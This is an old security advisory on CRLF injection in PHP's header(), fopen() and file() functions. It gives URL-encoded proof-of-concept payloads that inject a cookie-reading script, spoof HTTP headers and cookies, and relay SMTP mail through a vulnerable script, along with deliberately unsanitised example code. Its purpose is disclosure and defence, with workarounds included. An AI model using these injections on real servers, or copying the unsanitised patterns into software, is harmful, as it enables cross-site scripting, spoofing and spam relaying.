|
COMMAND PHP header() CRLF Injection SYSTEMS AFFECTED PHP 4.1.2, 4.2.2, 4.2.3 possibly others PROBLEM Matthew Murphy [mattmurphy@kc.rr.com] found : PHP's header() function is used to modify HTTP header information by specifying a header line, such as this: <?php header("Location: http://www.yahoo.com/"); ?> It is commonplace to see things such as this: --- REDIR.PHP --- <?php header("Location: $_GET['$url']"); ?> --- REDIR.PHP --- http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F %6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64% 6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2 1%2D%2D Will cause a series of lines to be produced: HTTP/1.1 302 Found Server: Xitami Date: Sat, 07 Sep 2002 21:50:17 GMT Content-length: 96 Content-type: text/html X-powered-by: PHP/4.2.3 {Location: http://www.yahoo.com/ <SCRIPT>alert(document.cookie)</SCRIPT><!--} <-- See our code in between the brackets Content-type: text/html The HTML produced is "broken" -- that is, it doesn't comply to RFC standards, because it doesn't have a "-->" tag. I did this to supress the stupid "Content-type" header that PHP was dumping in the response. By using this, attackers can perform cross-site scripting attacks or initiate downloads, in rare cases (via HTTP headers, such as content-dispostion, etc.) Update (10 september 2002) ====== Ulf Harnhammar adds [ulfh@update.uu.se] [http://www.metaur.nu] : PHP has several functions that take filenames as one of their arguments: fopen(), file() and some others. If allow_url_fopen is set to On in php.ini, those functions also accept URLs instead of regular files, and they connect to the server in question with the correct protocol. This functionality is vulnerable to some CRLF Injection attacks. 1) We start with the simple attacks. Let's say that this PHP snippet is saved as snippet.php: <?php echo '<pre>'; print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind")); echo '</pre>'; ?> If an attacker surfs to: snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www. site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F %2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A (should be on one line) this HTTP query will be sent to www.site1.st: GET /api?sunnan=visby&vind=gotland HTTP/1.0 Host: www.site2.st User-Agent: Ulf/0.0 Referer: http://www.gnuheter.org/ Cookie: user=ulf HTTP/1.0 Host: www.site1.st User-Agent: PHP/4.1.2 As you can see, the real headers from PHP are sent as well, but the web server ignores them, as we send two CRLFs before them to indicate that the headers are over. Using this technique, we can add arbitrary user agents, referers and cookies. We can also break out of restrictions and access site2.st instead of the site site1.st that snippet.php tries to restrict us to, if site1.st and site2.st are virtual hosts on the same machine. 2) If the PHP script is even worse, like this one called dotcom.php: <?php $fp = fopen($url, 'r'); fpassthru($fp); ?> we can connect to arbitrary ports and send (almost) arbitrary commands, thus turning the dotcom.php script into a proxy and an open mail relay. If we surf to: dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+ my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+ TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+ PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A (should be on one line) the PHP interpreter will connect to mail.site1.st on port 25, and send the following commands: GET / HTTP/1.0 HELO my.own.machine MAIL FROM:<me@my.own.machine> RCPT TO:<info@site1.st> DATA i will never say the word PROCRASTINATE again . QUIT HTTP/1.0 Host: mail.site1.st:25 User-Agent: PHP/4.1.2 Both PHP and the MTA will complain, but the mail is still sent. SOLUTION For more information about this group of problems, read Ulf Harnhammar "CRLF Injection" paper, which is available at http://online.securityfocus.com/archive/1/271515 Workarounds : =========== One solution is to make sure that all variables that are used in this type of URL are clean, by including this command in your PHP scripts: $var = preg_replace('/\s+/', '', $var); Another solution: if your scripts don't need to access URLs like files, you can switch off that functionality by setting allow_url_fopen to Off in php.ini. Update (13 spetember 2002) ====== Stefan Esser [http://www.php.net], patched PHP for that purpose and comments : --snipp-- Your fopen() thing does only occur if the programmer does TWO stupid things: A) pass user input directly to a function without proper validation, B) pass an url to a function that is not an url. Any string that contains control chars cannot be a valid url. Before you pass a string that should be an url to any function you MUST urlencode() it. No need for your reg expression at all.